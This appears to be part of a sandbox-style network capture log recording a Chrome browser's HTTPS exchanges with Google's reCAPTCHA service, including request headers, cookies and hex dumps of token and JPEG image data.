2024-03-15 12:58:14 UTC	1252	IN	Data Raw: 98 a2 6b 8b 86 ff 00 a6 16 b2 48 3f 30 b8 fd 6a f4 31 c5 08 c4 31 24 43 fd 85 0b fc a9 c5 89 ea 49 fa d3 d0 65 09 75 1b ad db 6d f4 6b d9 bf da 66 8e 35 fd 5b 3f a5 2c 97 1a bb 20 30 e9 f6 88 c7 af 99 74 4e 3f 25 ab b9 f7 a3 34 01 4c 2e ae f1 11 25 cd 9c 2e 7a 18 e2 2d 8f fb e8 d3 62 b1 bc 07 37 1a c5 cc 84 f6 44 44 1f a0 ab c4 d2 67 9a 2e 17 28 26 91 6e 26 f3 25 ba be 98 fa 3d cb 63 f2 18 a7 7f 63 69 1e 6f 9a 74 cb 57 93 3f 7a 48 c3 9f cd b3 57 09 04 f5 a3 34 ee 09 88 8b 1c 5f ea a3 44 ff 00 75 40 fe 54 a4 e7 92 69 33 48 69 5c 03 34 84 e3 9a 0d 21 14 c4 04 f3 48 4d 07 8e 4f 4a ac f7 d6 48 76 b5 d4 19 1d 83 82 7f 21 48 0b 14 02 6a af db 63 3f ea e1 b9 93 e9 0b 28 3f 8b 60 50 67 b9 6f f5 76 4c 3d de 40 3f 96 68 02 c9 e9 49 55 bf d3 db 9d d6 d1 7d 01 63 fd Data Ascii: kH?0j11$CIeumkf5[?, 0tN?%4L.%.z-b7DDg.(&n&%=cciotW?zHW4_Du@Ti3Hi\4!HMOJHv!Hjc?(?`PgovL=@?hIU}c
2024-03-15 12:58:14 UTC	1252	IN	Data Raw: 9a f4 d2 e7 d6 96 9d 8d 25 29 1e 46 7e 07 4e 46 17 c6 77 3f 8c 03 fc 6b 9f d5 7e 13 78 83 4c bb cd f6 b3 73 77 a5 95 f9 a7 b5 87 cc 78 ff 00 de 8f a9 1f 4c d7 be 6f f7 a7 09 0f ad 3d 3a a1 73 34 78 a5 97 c2 93 a8 e8 6f 2e 85 e3 08 35 12 a3 e5 01 36 10 7f ba dd c1 fa 8a a7 a3 fc 2b 92 fa 7f b0 5d f8 a9 f4 fd 44 0e 6d 6e 2d f0 4f ba 1c e1 87 d2 bd 7b 54 f0 e5 85 ed d7 db ed 9e 6d 37 51 1d 2e ed 0e c7 3f ef 0e 8e 3d 88 ac dd 4c ea 29 6e 2d bc 53 a5 26 b1 64 a7 2b 7d 64 84 4b 1f fb 45 07 2a 7d d4 d1 65 72 b9 9d b7 38 83 f0 02 f4 9c ff 00 c2 58 3f f0 1f ff 00 af 45 55 ba f1 f5 dc 57 52 c5 69 e2 9d 4f ec c8 e5 61 de 01 6d 80 fc b9 24 75 c6 28 a5 6f 24 2b 3e e7 b8 8e 94 1a ac 2d e5 6f f5 97 b3 9f 50 a1 50 7e 83 3f ad 34 d8 db 9f f5 8b 24 bf f5 d2 46 7f e6 68 b2 Data Ascii: %)F~NFw?k~xLswxLo=:s4xo.56+]Dmn-O{Tm7Q.?=L)n-S&d+}dKE*}er8X?EUWRiOam$u(o$+>-oPP~?4$Fh
2024-03-15 12:58:14 UTC	1252	IN	Data Raw: ed 49 de 93 3c d2 66 98 58 5f 5a 4c f1 48 5b 9a 33 9a 06 2f 14 66 93 9a 3b 53 01 7d 8d 26 3d e9 4d 37 14 80 29 33 4e c5 1b 68 18 99 a0 d2 ec 3d a9 18 05 1b 98 80 07 72 78 a0 12 14 60 9a a7 a2 9d f6 d2 dd 1e b7 33 34 a3 fd dc e1 7f f1 d0 b5 5f 55 d6 74 cb 7b 1b 8c 6a 16 ed 28 8c 80 b1 be f6 c9 18 1c 2e 4f 7a a5 27 8a 34 6d 2e d6 38 a7 79 22 11 a0 5c cc 16 00 70 3f e9 a1 53 fa 50 d8 d2 67 45 d7 8a 39 af 39 d4 7e 2f 78 72 d5 99 23 9e 06 61 fd c6 69 4f e4 a0 0f fc 7a b3 e2 f8 91 e2 3d 65 b6 78 73 c3 1a 95 e8 3c 09 45 b0 8a 3f fb e9 b2 3f 5a 76 6c 76 3d 5c 0f 4a 6c 92 c3 09 1e 74 d1 c7 90 48 de c0 70 3a d7 9a c5 a6 fc 54 d5 ce eb cb eb 1d 1d 0f 45 f3 4c ae 3f 05 c0 fd 69 cb f0 a8 de 3a c9 af 78 af 52 bd 61 ce d8 80 8c 73 e8 4e 4f eb 4b 97 b8 2b 1d 27 88 7c 5f Data Ascii: I<fX_ZLH[3/f;S}&=M7)3Nh=rx`34_Ut{j(.Oz'4m.8y"\p?SPgE99~/xr#aiOz=exs<E??Zvlv=\JltHp:TEL?i:xRasNOK+'\|_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49757	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:18 UTC	1251	OUT	POST /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 6015 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:18 UTC	6015	OUT	Data Raw: 76 3d 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 26 63 3d 30 33 41 46 63 57 65 41 35 4c 52 65 49 72 48 4b 74 52 77 38 53 37 59 72 6d 2d 74 74 5a 61 79 4b 72 63 5a 66 42 43 6c 46 76 44 2d 37 4b 47 68 54 58 48 6e 5a 59 48 70 6c 2d 76 70 56 66 70 65 4d 70 6e 45 52 56 31 76 53 6d 33 64 43 55 48 2d 32 62 31 4d 4b 6c 73 30 79 5a 44 58 36 4f 54 4c 43 74 38 37 76 6e 6e 70 71 30 44 6d 71 61 72 53 2d 4f 4b 41 55 4e 4a 49 77 55 39 31 36 51 5f 33 38 48 57 7a 6c 5a 63 67 43 30 36 31 4f 59 2d 52 50 78 7a 42 75 6e 67 6a 49 6c 7a 76 73 42 47 30 5a 58 66 74 43 4a 72 7a 52 6f 35 36 34 71 68 36 49 46 79 6e 57 6c 77 4d 49 4d 4a 35 41 53 4c 41 4d 43 75 39 69 6e 50 61 46 6f 71 52 32 72 79 5f 45 61 6f 77 69 75 77 6a 79 46 63 56 61 69 4b 69 6b 45 35 Data Ascii: v=07g0mpPGukTo20VqKa8GbTSw&c=03AFcWeA5LReIrHKtRw8S7Yrm-ttZayKrcZfBClFvD-7KGhTXHnZYHpl-vpVfpeMpnERV1vSm3dCUH-2b1MKls0yZDX6OTLCt87vnnpq0DmqarS-OKAUNJIwU916Q_38HWzlZcgC061OY-RPxzBungjIlzvsBG0ZXftCJrzRo564qh6IFynWlwMIMJ5ASLAMCu9inPaFoqR2ry_EaowiuwjyFcVaiKikE5
2024-03-15 12:58:18 UTC	483	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 15 Mar 2024 12:58:18 GMT Expires: Fri, 15 Mar 2024 12:58:18 GMT Cache-Control: private, max-age=0 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:18 UTC	769	IN	Data Raw: 61 36 34 0d 0a 29 5d 7d 27 0a 5b 22 64 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 35 35 5a 77 6e 54 4a 6b 68 45 6f 67 5a 58 77 59 52 67 39 47 50 45 6a 74 55 6d 6f 67 77 33 62 69 48 33 65 59 72 6a 45 67 32 5f 61 32 48 66 47 4d 6f 5f 35 38 59 71 52 50 35 62 36 36 49 6a 38 79 75 70 6a 4f 4c 45 43 31 75 67 66 30 63 69 4e 2d 49 4c 79 6e 36 71 79 69 77 67 71 71 55 5f 6f 4f 42 62 74 38 33 68 45 38 6f 73 45 69 30 52 74 58 36 71 49 63 4b 6b 55 49 4e 49 52 79 4d 69 47 55 39 46 73 31 50 59 55 6b 57 32 79 79 76 70 73 37 62 37 42 51 45 79 79 71 31 70 67 51 50 74 52 34 5a 6d 41 38 63 74 76 39 4e 43 70 51 77 49 50 71 57 35 6e 6e 5f 50 39 63 30 6f 75 5a 53 79 45 63 54 68 56 4b 34 55 51 6e 57 6f 68 34 4d 42 52 31 52 43 76 37 74 77 43 7a 63 39 4a 68 35 64 74 45 6d 4c 6c Data Ascii: a64)]}'["dresp","03AFcWeA55ZwnTJkhEogZXwYRg9GPEjtUmogw3biH3eYrjEg2_a2HfGMo_58YqRP5b66Ij8yupjOLEC1ugf0ciN-ILyn6qyiwgqqU_oOBbt83hE8osEi0RtX6qIcKkUINIRyMiGU9Fs1PYUkW2yyvps7b7BQEyyq1pgQPtR4ZmA8ctv9NCpQwIPqW5nn_P9c0ouZSyEcThVK4UQnWoh4MBR1RCv7twCzc9Jh5dtEmLl
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: 68 43 36 68 45 45 36 39 4d 5a 4f 4f 36 46 34 4f 55 48 79 48 43 4e 32 35 46 45 42 6b 32 75 66 62 5a 44 4f 43 4b 73 70 56 5f 4b 6e 59 58 50 33 39 75 52 53 6c 72 67 7a 43 35 46 5a 42 39 56 64 2d 51 36 73 69 2d 6b 4b 38 77 6f 79 54 56 52 41 37 67 32 6f 34 62 33 39 78 46 4d 56 69 59 52 49 4f 6a 64 6e 75 6f 69 4f 36 51 59 38 63 2d 6c 58 35 35 39 68 36 73 49 6b 35 32 32 57 38 45 39 73 56 36 6c 78 75 71 6f 6d 64 6f 74 44 30 38 63 6a 35 34 58 52 51 2d 4b 6c 55 45 6e 65 66 6f 75 35 6f 36 6c 46 42 52 31 45 62 43 70 38 69 72 52 52 54 54 32 57 55 6c 73 67 5a 68 74 69 37 55 79 6a 70 44 57 73 46 31 62 52 35 6a 62 33 2d 72 48 50 6a 73 6a 33 72 78 41 4c 71 36 51 47 39 69 32 48 44 70 45 78 49 58 72 47 73 6c 49 66 35 73 62 33 78 54 39 42 4c 6d 35 6b 58 5f 78 4c 6c 6a 50 67 Data Ascii: hC6hEE69MZOO6F4OUHyHCN25FEBk2ufbZDOCKspV_KnYXP39uRSlrgzC5FZB9Vd-Q6si-kK8woyTVRA7g2o4b39xFMViYRIOjdnuoiO6QY8c-lX559h6sIk522W8E9sV6lxuqomdotD08cj54XRQ-KlUEnefou5o6lFBR1EbCp8irRRTT2WUlsgZhti7UyjpDWsF1bR5jb3-rHPjsj3rxALq6QG9i2HDpExIXrGslIf5sb3xT9BLm5kX_xLljPg
2024-03-15 12:58:18 UTC	646	IN	Data Raw: 47 79 57 58 77 59 6e 47 69 4a 4a 4f 42 65 35 73 52 72 75 66 7a 59 4e 4d 41 65 73 68 44 4a 6b 79 5a 59 37 7a 75 62 32 57 37 45 72 71 68 66 43 6b 4c 53 35 58 54 63 6e 79 66 4f 2d 65 63 39 48 38 59 51 48 36 66 5a 33 75 5f 57 68 34 71 4e 52 7a 55 6e 68 57 63 72 31 37 64 74 33 68 51 2d 6b 35 6f 47 4a 65 47 35 32 49 73 51 6c 67 6c 61 57 66 65 5f 75 37 6e 45 52 75 67 76 71 4d 48 6d 4c 6d 69 52 34 38 44 7a 56 41 51 78 76 49 79 73 32 35 5a 7a 48 41 4b 35 4d 41 31 4d 6c 78 57 55 58 68 49 79 47 67 7a 74 53 30 6b 56 75 46 62 71 63 63 33 35 43 4e 46 6e 35 48 72 72 71 5f 42 54 63 43 55 58 61 6b 54 46 34 4d 38 58 4d 6e 76 4b 44 78 6d 78 5a 2d 6b 71 37 4e 6a 47 33 4a 30 73 79 4b 34 68 6c 50 2d 37 72 4e 7a 73 57 4e 36 64 33 44 39 30 53 75 62 4b 5a 68 37 56 6f 71 5a 49 45 Data Ascii: GyWXwYnGiJJOBe5sRrufzYNMAeshDJkyZY7zub2W7ErqhfCkLS5XTcnyfO-ec9H8YQH6fZ3u_Wh4qNRzUnhWcr17dt3hQ-k5oGJeG52IsQlglaWfe_u7nERugvqMHmLmiR48DzVAQxvIys25ZzHAK5MA1MlxWUXhIyGgztS0kVuFbqcc35CNFn5Hrrq_BTcCUXakTF4M8XMnvKDxmxZ-kq7NjG3J0syK4hlP-7rNzsWN6d3D90SubKZh7VoqZIE
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: 64 38 37 0d 0a 38 34 34 56 63 38 39 58 75 79 61 77 52 54 42 67 37 54 44 72 57 39 63 69 45 42 77 68 35 4e 63 56 2d 6e 6a 6e 41 54 44 73 61 34 5a 52 78 5f 47 4b 68 61 6b 79 51 37 56 59 63 47 4c 34 34 42 34 6c 6b 6c 5f 58 47 35 4b 6e 32 38 31 37 63 43 47 50 34 55 62 61 43 53 77 66 30 2d 6e 4c 6e 75 55 53 4b 50 2d 66 6a 52 71 4c 75 72 47 55 67 67 30 58 50 35 43 46 4c 42 74 38 42 51 6f 57 30 4c 7a 50 66 30 74 52 78 56 59 71 42 77 34 57 4c 38 64 32 43 75 76 4e 69 79 57 6d 6e 58 72 79 33 48 67 32 62 59 78 55 5f 71 62 53 75 54 31 57 53 4c 63 32 5a 72 41 72 6f 34 63 65 36 5a 73 73 62 73 30 4e 51 33 4c 73 34 70 33 4c 6d 4a 43 44 4e 6f 7a 62 47 67 4d 68 75 57 65 38 38 70 32 59 45 53 52 35 42 48 44 30 4c 48 66 64 69 32 53 77 36 4e 54 4b 37 61 72 78 48 6f 63 78 57 65 Data Ascii: d87844Vc89XuyawRTBg7TDrW9ciEBwh5NcV-njnATDsa4ZRx_GKhakyQ7VYcGL44B4lkl_XG5Kn2817cCGP4UbaCSwf0-nLnuUSKP-fjRqLurGUgg0XP5CFLBt8BQoW0LzPf0tRxVYqBw4WL8d2CuvNiyWmnXry3Hg2bYxU_qbSuT1WSLc2ZrAro4ce6Zssbs0NQ3Ls4p3LmJCDNozbGgMhuWe88p2YESR5BHD0LHfdi2Sw6NTK7arxHocxWe
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: 72 69 64 4c 73 77 4e 58 48 2d 50 66 44 49 7a 54 36 45 43 42 54 32 44 55 47 2d 52 63 2d 5f 50 48 49 38 36 6b 41 38 58 36 48 50 50 77 67 52 32 31 49 6a 6b 6a 57 32 50 5f 68 4f 44 45 31 45 78 6c 74 35 69 46 70 4e 58 38 6f 35 58 46 44 69 41 64 58 4c 47 38 57 43 67 31 73 69 4a 52 6b 36 74 72 54 59 53 65 65 5a 4f 43 6e 77 44 5a 54 5f 79 30 6f 76 72 50 4a 59 45 4a 54 2d 31 4a 70 4b 57 77 38 35 31 31 42 53 4d 48 43 72 47 78 66 54 31 4f 50 30 75 43 63 78 39 68 62 78 55 59 32 51 6f 36 68 2d 7a 4e 54 6c 75 46 55 71 59 50 73 35 4c 75 65 4e 4b 56 5f 4e 38 76 43 6f 49 73 46 51 59 35 67 62 73 7a 31 78 77 77 70 56 69 35 73 59 73 6a 6d 58 77 39 74 30 37 4c 44 49 72 64 77 6e 35 75 76 32 46 75 56 72 71 4d 69 47 77 4e 46 38 56 78 4b 62 49 36 70 66 45 35 6f 38 77 52 68 31 53 Data Ascii: ridLswNXH-PfDIzT6ECBT2DUG-Rc-_PHI86kA8X6HPPwgR21IjkjW2P_hODE1Exlt5iFpNX8o5XFDiAdXLG8WCg1siJRk6trTYSeeZOCnwDZT_y0ovrPJYEJT-1JpKWw8511BSMHCrGxfT1OP0uCcx9hbxUY2Qo6h-zNTluFUqYPs5LueNKV_N8vCoIsFQY5gbsz1xwwpVi5sYsjmXw9t07LDIrdwn5uv2FuVrqMiGwNF8VxKbI6pfE5o8wRh1S
2024-03-15 12:58:18 UTC	966	IN	Data Raw: 67 46 31 31 58 67 5a 57 76 67 5f 35 6c 68 4e 34 6a 6a 56 5f 39 71 41 69 6d 62 36 44 6c 70 4d 4d 6a 52 4e 35 4e 79 70 4b 77 49 36 69 34 6f 79 79 4f 6a 57 69 33 79 6f 55 69 58 69 54 6f 48 32 67 4a 36 65 59 69 62 2d 5f 31 73 45 59 6e 7a 72 4d 44 72 76 4b 77 63 4c 51 4b 75 65 49 6d 73 39 4a 33 2d 37 79 6e 4b 41 35 45 4e 32 41 72 76 4d 76 69 4a 4c 72 6b 4e 47 30 2d 6e 59 78 5f 6e 76 45 48 36 58 4c 4c 45 53 7a 30 39 78 31 67 68 65 33 79 75 69 36 61 74 66 74 54 4a 30 48 64 58 61 54 2d 32 30 6a 31 73 4f 31 49 4f 6a 66 51 6b 4e 39 4a 39 46 58 79 4d 47 4b 32 63 37 47 61 65 30 54 71 4c 4e 31 51 38 4c 35 70 77 4b 37 62 69 41 31 52 50 68 57 72 76 63 4b 53 79 7a 34 5f 30 79 4c 77 33 33 2d 51 46 66 34 76 77 69 75 34 37 6c 6a 55 70 4e 66 43 35 55 7a 66 37 5f 53 30 2d 6d Data Ascii: gF11XgZWvg_5lhN4jjV_9qAimb6DlpMMjRN5NypKwI6i4oyyOjWi3yoUiXiToH2gJ6eYib-_1sEYnzrMDrvKwcLQKueIms9J3-7ynKA5EN2ArvMviJLrkNG0-nYx_nvEH6XLLESz09x1ghe3yui6atftTJ0HdXaT-20j1sO1IOjfQkN9J9FXyMGK2c7Gae0TqLN1Q8L5pwK7biA1RPhWrvcKSyz4_0yLw33-QFf4vwiu47ljUpNfC5Uzf7_S0-m
2024-03-15 12:58:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49758	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:18 UTC	1443	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5g_6J-oVyZGxTOqGvfinWuimROArHBxL7hy3JP51a5UXfeSXr9kNyijYt-nth_bE1vMP8IgMf1ABLY20nwERtZno2huybA-R7oP9Jh97ndor8CK-RTVXyTKFUm23hzSjZk4vwLcbW2D1XwUdOeBd5tq_ejvJO56XXf5LR8XerMEEmlgQtfSH_AxNpDgTds3fIXnbrA5aIBglkJx3e4Ca3bB4Gs-w&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=79357a75a0682f47 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:18 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:58:18 GMT Date: Fri, 15 Mar 2024 12:58:18 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:18 UTC	6	IN	Data Raw: 42 36 41 44 0d 0a Data Ascii: B6AD
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: 0e 76 85 42 af fa 0e 47 e5 50 41 63 a9 4b 37 fa 45 8c c7 18 f9 d0 30 e0 70 3d a8 4a c2 4a da 8e b3 97 66 a2 cc 81 a3 27 28 06 ec ae 08 e7 83 5e 8f 6d 6a 34 28 cf f6 ae 9c 2e 65 76 69 15 e3 90 4a b8 c0 e3 68 c8 fe 2c f4 f4 ed 5c 0d fc cd 14 f1 ab 29 80 85 54 26 48 fa fd 7f 2a d6 b7 d5 1e f6 38 44 e8 ce 6d a2 c2 aa 31 6d e0 72 38 3d 4f 00 54 3b 2d 45 27 d5 1a 3a 44 08 ba 84 8a f3 98 a0 8d 7c d0 cf 11 39 55 3f 36 00 e8 01 e3 38 ab 2b 69 6b 33 c9 77 a6 96 b3 b8 8f cc 94 4d 0b 12 49 08 76 a2 e3 04 12 70 3f cf 38 a9 ab 46 56 74 b8 97 ec d2 c9 11 84 a9 8c 16 2a c4 96 1c 0c f5 51 f4 a8 b4 b5 78 2f 9d e4 b9 49 61 31 05 8c 12 37 0e bf 2a e7 d3 26 b2 9c 9a 5a 6e 2b b3 d6 f4 ef 14 ea 1a 07 c3 4d 43 45 f1 0d 8c 33 39 91 96 df cf c1 5d eb 12 aa 10 ac 4e d2 06 d2 0f 7c Data Ascii: vBGPAcK7E0p=JJf'(^mj4(.eviJh,\)T&H8Dm1mr8=OT;-E':D\|9U?68+ik3wMIvp?8FVtQx/Ia17*&Zn+MCE39]N\|
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: 83 54 b8 8f 4c 0f 6b 2b 28 8e 5d fb 43 11 91 9c 1f a5 64 4a 54 3b 4a 66 b8 cb 3e 62 8d 5b 3b 01 27 3c f5 a2 33 f6 8d a9 21 de e6 a3 6a 97 cb 13 4a 25 92 58 49 c4 a3 70 56 07 de 8b 6b e1 29 48 a3 f2 d8 b2 9d a1 86 08 f9 71 9e 31 f9 fb 56 4c 6c 92 ca 04 ca ab 11 c6 e6 8c 6d cf b1 5e 86 b7 6c 64 8a 55 06 cb c8 45 43 fe ae 48 f2 39 ff 00 7b 23 34 4b dd 5a 12 d3 46 57 99 26 52 cf f7 b2 6d 39 2c 8a 4f 07 af e1 d2 97 50 12 b4 02 f2 d2 e1 7e 45 da ea bf 2a 9c 77 1e ff 00 e1 4e 5b 87 8e e2 48 33 2e c4 90 f1 b7 3b 39 f4 f4 ab 56 f2 45 10 1e 6a b0 5d c5 97 04 93 cf 1c ff 00 85 4c a5 6d 86 99 6b 4f 95 20 b5 b7 8a e5 03 48 70 c5 1e 35 65 2a 79 e7 70 eb 9e f5 ab f0 ff 00 51 b0 f0 af 8a e3 d4 35 3d 22 2d 56 d5 89 65 85 d4 6c 1f a1 1f a7 4a c6 8e 6c cb 10 85 4b 1e 78 3c Data Ascii: TLk+(]CdJT;Jf>b[;'<3!jJ%XIpVk)Hq1VLlm^ldUECH9{#4KZFW&Rm9,OP~EwN[H3.;9VEj]LmkO Hp5eypQ5="-VelJlKx<
2024-03-15 12:58:18 UTC	342	IN	Data Raw: 86 f0 c4 d3 19 23 e0 02 0e 4a e7 9c 73 dc 13 56 6c 2f 6f 61 29 0d bd ec f1 8d dd 16 42 33 cf b5 57 5b 59 24 8c cd 75 39 88 31 f9 54 f2 cf e9 81 fd 4d 4b 65 7c 76 b2 41 08 87 6f de c1 25 9f dc 9e a7 e9 d3 da 9b 6e c1 d0 ed 96 49 a6 e6 1b eb a7 46 b7 66 db 3e d9 0a b8 f9 88 0a 73 91 80 47 3e b9 ed 4d 7d 63 ca 91 2d e5 b0 b1 96 34 6c 2b a2 08 4a 3f 6f 99 40 15 95 a0 e9 d1 0b 2f b7 cd 7c ac 5c 6d 50 b1 93 e5 c9 c6 7a 9e a0 1f 4a a3 ab c8 af 63 e5 89 3c c0 e3 7b b2 ff 00 1b 1e 30 3f 9d 73 f3 39 3b 19 f3 5d d8 e9 85 d6 9f 0d d1 cd b1 04 83 c3 4b b8 1c 9c 93 df 9e b5 5a fe 7d 0a f6 ea 2f 30 4a e4 04 3b 51 c6 d0 a7 9f 51 eb e9 5c 8c 52 df c8 d1 b4 ce ee 80 90 0b 74 da 31 c0 3f 41 4e 82 d6 57 8e 7b 86 8d 80 5c 81 9e 9c 74 18 1d ea b9 63 7f 78 bb 59 ea 76 1a cc 76 Data Ascii: #JsVl/oa)B3W[Y$u91TMKe\|vAo%nIFf>sG>M}c-4l+J?o@/\|\mPzJc<{0?s9;]KZ}/0J;QQ\Rt1?ANW{\tcxYvv
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: e1 8f cd 7b 76 9d cb e7 ce 3d 5d 47 fb 87 07 eb ed 56 2d 25 bd bb b9 9a 53 a5 ec 8d 7e 76 55 01 50 7c a0 64 12 33 9e 3d 7b 9a cf d1 3c 41 1c 9a 7b 58 2c 4d 2c ab f2 f9 72 6d 74 0a 79 c8 24 02 31 fe f7 52 6a fc d7 93 a3 c4 cf 72 22 52 e3 6a ab b2 1e fd f9 07 1c 71 51 26 af 66 8a 56 67 55 a1 ea 9a 6e a5 a8 49 a4 ea f6 96 76 2b 32 18 59 96 d9 37 22 93 bb 78 27 3c e4 1f 98 63 ef 55 ff 00 0d c7 a2 f8 5f c3 3a 85 ee 9d e2 0b 5f ed 3f 34 79 71 1b 52 af 2a a8 ff 00 58 a4 70 98 27 1c 8e 49 f6 ae 5b 48 b5 f1 2e a9 1d c4 d6 6f 33 f9 4d 1f 39 8e 40 81 9b 68 3d b3 93 81 cd 68 78 92 ee c3 4d d1 da cf 50 8f cd d7 e3 98 c3 74 5a d0 47 12 c2 39 c0 65 f9 b7 ee e3 9e 31 52 96 b6 43 be 97 31 7c 43 79 69 a9 5c a5 e4 37 77 11 de 4a 09 b9 12 c9 bc 48 d8 23 20 e3 38 fa e6 a7 d2 Data Ascii: {v=]GV-%S~vUP\|d3={<A{X,M,rmty$1Rjr"RjqQ&fVgUnIv+2Y7"x'<cU_:_?4yqR*Xp'I[H.o3M9@h=hxMPtZG9e1RC1\|Cyi\7wJH# 8
